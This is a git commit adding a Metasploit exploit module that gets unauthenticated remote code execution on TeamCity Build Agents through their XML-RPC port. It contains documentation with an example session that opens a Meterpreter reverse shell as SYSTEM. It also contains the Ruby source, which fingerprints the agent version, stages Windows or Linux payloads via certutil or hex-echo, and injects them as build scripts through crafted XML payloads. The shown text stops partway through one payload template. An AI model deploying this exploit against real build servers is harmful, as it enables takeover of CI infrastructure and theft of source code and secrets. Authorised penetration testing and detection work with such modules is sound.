Add exploit module for TeamCity Agent XMLRPC
parent
682b0863be
commit
11d9b44922
|
@ -0,0 +1,60 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module has been tested successfully with the following TeamCity Agent versions
|
||||||
|
|
||||||
|
* TeamCity 6.0
|
||||||
|
* TeamCity 6.5
|
||||||
|
* TeamCity 7.0
|
||||||
|
* TeamCity 8.0
|
||||||
|
* TeamCity 9.0
|
||||||
|
* TeamCity 10.0
|
||||||
|
* TeamCity 2017
|
||||||
|
* TeamCity 2018
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. `msfconsole`
|
||||||
|
2. `use exploit/multi/misc/teamcity_agent_xmlrpc_exec`
|
||||||
|
3. `set RHOSTS <rhost>`
|
||||||
|
4. `set payload <payload>`
|
||||||
|
5. `run`
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**RPORT**
|
||||||
|
|
||||||
|
Which port the TeamCity Agent is listening on (default: 9090)
|
||||||
|
|
||||||
|
**CMD**
|
||||||
|
|
||||||
|
If specified the module will run the specified command instead of executing the payload
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec
|
||||||
|
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149
|
||||||
|
RHOSTS => 172.16.198.149
|
||||||
|
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp
|
||||||
|
payload => windows/meterpreter/reverse_tcp
|
||||||
|
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0
|
||||||
|
LHOST => eth0
|
||||||
|
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.198.150:4444
|
||||||
|
[*] Found TeamCity Agent running build version 58245
|
||||||
|
[*] Constructing Windows payload
|
||||||
|
[*] Found compatible build config for TeamCity build 58245
|
||||||
|
[*] Successfully sent build configuration
|
||||||
|
[*] Sending stage (179779 bytes) to 172.16.198.149
|
||||||
|
[*] Meterpreter session 1 opened (172.16.198.150:4444 -> 172.16.198.149:49178) at 2018-10-03 17:21:12 +0800
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: NT AUTHORITY\SYSTEM
|
||||||
|
```
|
|
@ -0,0 +1,717 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'TeamCity Agent XML-RPC Command Execution',
|
||||||
|
'Description' => %q(
|
||||||
|
This module allows remote code execution on TeamCity Agents configured
|
||||||
|
to use bidirectional communication via xml-rpc. In bidirectional mode
|
||||||
|
the TeamCity server pushes build commands to the Build Agents over port
|
||||||
|
TCP/9090 without requiring authentication. Up until version 10 this was
|
||||||
|
the default configuration. This module supports TeamCity agents from
|
||||||
|
version 6.0 onwards.
|
||||||
|
),
|
||||||
|
'Author' => ['Dylan Pindur <dylanpindur@gmail.com>'],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.tenable.com/plugins/nessus/94675']
|
||||||
|
],
|
||||||
|
'Platform' => %w[linux win],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows', { 'Platform' => 'win' }],
|
||||||
|
['Linux', { 'Platform' => 'linux' }]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Apr 14 2015'))
|
||||||
|
|
||||||
|
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH', 'VHOST')
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(9090),
|
||||||
|
OptString.new(
|
||||||
|
'CMD',
|
||||||
|
[false, 'Execute this command instead of using command stager', '']
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
version = determine_version
|
||||||
|
if !version.nil? && version >= 15772
|
||||||
|
Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
version = determine_version
|
||||||
|
if version.nil?
|
||||||
|
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
|
||||||
|
else
|
||||||
|
print_status("Found TeamCity Agent running build version #{version}")
|
||||||
|
end
|
||||||
|
|
||||||
|
unless datastore['CMD'].blank?
|
||||||
|
print_status('Executing user supplied command')
|
||||||
|
execute_command(datastore['CMD'], version)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
case target['Platform']
|
||||||
|
when 'linux'
|
||||||
|
linux_stager(version)
|
||||||
|
when 'win'
|
||||||
|
windows_stager(version)
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def windows_stager(version)
|
||||||
|
print_status('Constructing Windows payload')
|
||||||
|
|
||||||
|
exe_payload = generate_payload_exe
|
||||||
|
exe_name = Rex::Text.rand_text_alpha(8)
|
||||||
|
b64_exe_payload = Rex::Text.encode_base64(exe_payload)
|
||||||
|
|
||||||
|
# Split payload into chunks so we can echo it into a file
|
||||||
|
split_payload = b64_exe_payload.scan(/.{1,2000}/m)
|
||||||
|
commands = split_payload.map { |x| "echo|set /p=\"#{x}\" >> #{exe_name}.b64" }
|
||||||
|
echo_file = commands.join("\n")
|
||||||
|
|
||||||
|
script_content = %(
|
||||||
|
#{echo_file}
|
||||||
|
certutil -decode #{exe_name}.b64 #{exe_name}.exe
|
||||||
|
start "" %cd%\\#{exe_name}.exe
|
||||||
|
)
|
||||||
|
xml_payload = build_request(script_content.strip!, version)
|
||||||
|
|
||||||
|
if !xml_payload.nil?
|
||||||
|
print_status("Found compatible build config for TeamCity build #{version}")
|
||||||
|
send_request(xml_payload)
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def linux_stager(version)
|
||||||
|
print_status('Constructing Linux payload')
|
||||||
|
|
||||||
|
exe_payload = generate_payload_exe
|
||||||
|
exe_name = Rex::Text.rand_text_alpha(8)
|
||||||
|
exe_payload_encoded = Rex::Text.to_hex(exe_payload)
|
||||||
|
|
||||||
|
script_content = %(
|
||||||
|
echo -n -e '#{exe_payload_encoded}' > #{exe_name}
|
||||||
|
chmod +x #{exe_name}
|
||||||
|
./#{exe_name} &
|
||||||
|
)
|
||||||
|
xml_payload = build_request(script_content.strip!, version)
|
||||||
|
|
||||||
|
if !xml_payload.nil?
|
||||||
|
print_status("Found compatible build config for TeamCity build #{version}")
|
||||||
|
send_request(xml_payload)
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, version)
|
||||||
|
xml_payload = build_request(cmd, version)
|
||||||
|
|
||||||
|
if !xml_payload.nil?
|
||||||
|
print_status("Found compatible build config for TeamCity build #{version}")
|
||||||
|
send_request(xml_payload)
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def determine_version
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.getVersion</methodName>
|
||||||
|
<params></params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'text/xml',
|
||||||
|
'data' => xml_payload.strip!
|
||||||
|
},
|
||||||
|
10
|
||||||
|
)
|
||||||
|
|
||||||
|
if !res.nil? && res.code == 200
|
||||||
|
xml_doc = res.get_xml_document
|
||||||
|
if xml_doc.errors.empty?
|
||||||
|
val = xml_doc.xpath('/methodResponse/params/param/value')
|
||||||
|
if val.length == 1
|
||||||
|
return val.text.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_request(xml_payload)
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'text/xml',
|
||||||
|
'data' => xml_payload
|
||||||
|
},
|
||||||
|
10
|
||||||
|
)
|
||||||
|
|
||||||
|
if !res.nil? && res.code == 200
|
||||||
|
print_status("Successfully sent build configuration")
|
||||||
|
else
|
||||||
|
print_status("Failed to send build configuration")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def build_request(script_content, version)
|
||||||
|
case version
|
||||||
|
when 0..15771
|
||||||
|
return nil
|
||||||
|
when 15772..17794
|
||||||
|
return req_teamcity_6(script_content)
|
||||||
|
when 17795..21240
|
||||||
|
return req_teamcity_6_5(script_content)
|
||||||
|
when 21241..27401
|
||||||
|
return req_teamcity_7(script_content)
|
||||||
|
when 27402..32059
|
||||||
|
return req_teamcity_8(script_content)
|
||||||
|
when 32060..42001
|
||||||
|
return req_teamcity_9(script_content)
|
||||||
|
when 42002..46532
|
||||||
|
return req_teamcity_10(script_content)
|
||||||
|
else
|
||||||
|
return req_teamcity_2017(script_content)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_2017(script_content)
|
||||||
|
build_code = Rex::Text.rand_text_alpha(8)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.runBuild</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myBuildTypeExternalId>x</myBuildTypeExternalId>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
|
||||||
|
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
|
||||||
|
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
|
||||||
|
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||||
|
<myServerParameters class="StringTreeMap">
|
||||||
|
<k>system.build.number</k>
|
||||||
|
<v>0</v>
|
||||||
|
</myServerParameters>
|
||||||
|
<myAccessCode/>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myArtifactPaths/>
|
||||||
|
<myArtifactStorageSettings/>
|
||||||
|
<myBuildFeatures/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myFullCheckoutReasons/>
|
||||||
|
<myParametersSpecs class="StringTreeMap"/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myVcsRootOldRevisions class="tree-map"/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myId>x</myId>
|
||||||
|
<myIsDisabled>false</myIsDisabled>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myRunnerName>x</myRunnerName>
|
||||||
|
<myChildren class="list"/>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.build.step.name</string>
|
||||||
|
<string>x</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.step.mode</string>
|
||||||
|
<string>default</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_10(script_content)
|
||||||
|
build_code = Rex::Text.rand_text_alpha(8)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.runBuild</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myBuildTypeExternalId>x</myBuildTypeExternalId>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
|
||||||
|
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
|
||||||
|
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
|
||||||
|
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||||
|
<myServerParameters class="StringTreeMap">
|
||||||
|
<k>system.build.number</k>
|
||||||
|
<v>0</v>
|
||||||
|
</myServerParameters>
|
||||||
|
<myAccessCode/>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myArtifactPaths/>
|
||||||
|
<myBuildFeatures/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myFullCheckoutReasons/>
|
||||||
|
<myParametersSpecs class="StringTreeMap"/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myVcsRootOldRevisions class="tree-map"/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myId>x</myId>
|
||||||
|
<myIsDisabled>false</myIsDisabled>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myRunnerName>x</myRunnerName>
|
||||||
|
<myChildren class="list"/>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.build.step.name</string>
|
||||||
|
<string>x</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.step.mode</string>
|
||||||
|
<string>default</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_9(script_content)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.runBuild</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myBuildTypeExternalId>x</myBuildTypeExternalId>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||||
|
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||||
|
<myServerParameters class="StringTreeMap">
|
||||||
|
<k>system.build.number</k>
|
||||||
|
<v>0</v>
|
||||||
|
</myServerParameters>
|
||||||
|
<myAccessCode/>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myArtifactPaths/>
|
||||||
|
<myBuildFeatures/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myFullCheckoutReasons/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myVcsRootOldRevisions class="tree-map"/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myId>x</myId>
|
||||||
|
<myIsDisabled>false</myIsDisabled>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myRunnerName>x</myRunnerName>
|
||||||
|
<myChildren class="list"/>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.build.step.name</string>
|
||||||
|
<string>x</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.step.mode</string>
|
||||||
|
<string>default</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_8(script_content)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.runBuild</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>system.build.number</string>
|
||||||
|
<string>0</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myAccessCode/>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myArtifactPaths/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myFullCheckoutReasons/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myVcsRootOldRevisions class="tree-map"/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myId>x</myId>
|
||||||
|
<myIsDisabled>false</myIsDisabled>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myRunnerName>x</myRunnerName>
|
||||||
|
<myChildren class="list"/>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.build.step.name</string>
|
||||||
|
<string>x</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.step.mode</string>
|
||||||
|
<string>default</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||||
|
<myBuildFeatures/>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_7(script_content)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.runBuild</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>system.build.number</string>
|
||||||
|
<string>0</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myVcsRootOldRevisions class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myVcsRootOldRevisions>
|
||||||
|
<myVcsRootCurrentRevisions class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myVcsRootCurrentRevisions>
|
||||||
|
<myAccessCode/>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myArtifactPaths/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myFullCheckoutReasons/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myRunnerName>x</myRunnerName>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.step.mode</string>
|
||||||
|
<string>default</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>teamcity.build.step.name</string>
|
||||||
|
<string>x</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||||
|
<myBuildFeatures/>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_6_5(script_content)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.run</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myPersonal>false</myPersonal>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>system.build.number</string>
|
||||||
|
<string>0</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myVcsRootOldRevisions class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myVcsRootOldRevisions>
|
||||||
|
<myVcsRootCurrentRevisions class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myVcsRootCurrentRevisions>
|
||||||
|
<myAccessCode/>
|
||||||
|
<myArtifactDependencies/>
|
||||||
|
<myBuildTypeOptions/>
|
||||||
|
<myPersonalVcsChanges/>
|
||||||
|
<myUserBuildParameters/>
|
||||||
|
<myVcsChanges/>
|
||||||
|
<myVcsRootEntries/>
|
||||||
|
<myBuildRunners>
|
||||||
|
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
<myRunType>simpleRunner</myRunType>
|
||||||
|
<myRunnerName>x</myRunnerName>
|
||||||
|
<myRunnerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>script.content</string>
|
||||||
|
<string>#{script_content}</string>
|
||||||
|
</entry>
|
||||||
|
<entry>
|
||||||
|
<string>use.custom.script</string>
|
||||||
|
<string>true</string>
|
||||||
|
</entry>
|
||||||
|
</myRunnerParameters>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myServerParameters>
|
||||||
|
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||||
|
</myBuildRunners>
|
||||||
|
</AgentBuild>
|
||||||
|
]]>
|
||||||
|
</value>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
)
|
||||||
|
return xml_payload.strip!
|
||||||
|
end
|
||||||
|
|
||||||
|
def req_teamcity_6(script_content)
|
||||||
|
build_id = Rex::Text.rand_text_numeric(8)
|
||||||
|
xml_payload = %(
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>buildAgent.run</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<value>
|
||||||
|
<![CDATA[
|
||||||
|
<AgentBuild>
|
||||||
|
<myBuildId>#{build_id}</myBuildId>
|
||||||
|
<myBuildTypeId>x</myBuildTypeId>
|
||||||
|
<myAccessCode></myAccessCode>
|
||||||
|
<myPersonal>false</myPersonal>
|
||||||
|
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||||
|
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||||
|
<myServerParameters class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
<entry>
|
||||||
|
<string>system.build.number</string>
|
||||||
|
<string>0</string>
|
||||||
|
</entry>
|
||||||
|
</myServerParameters>
|
||||||
|
<myVcsRootOldRevisions class="tree-map">
|
||||||
|
<no-comparator/>
|
||||||
|
</myVcsRootOldRevisions>
|
||||||
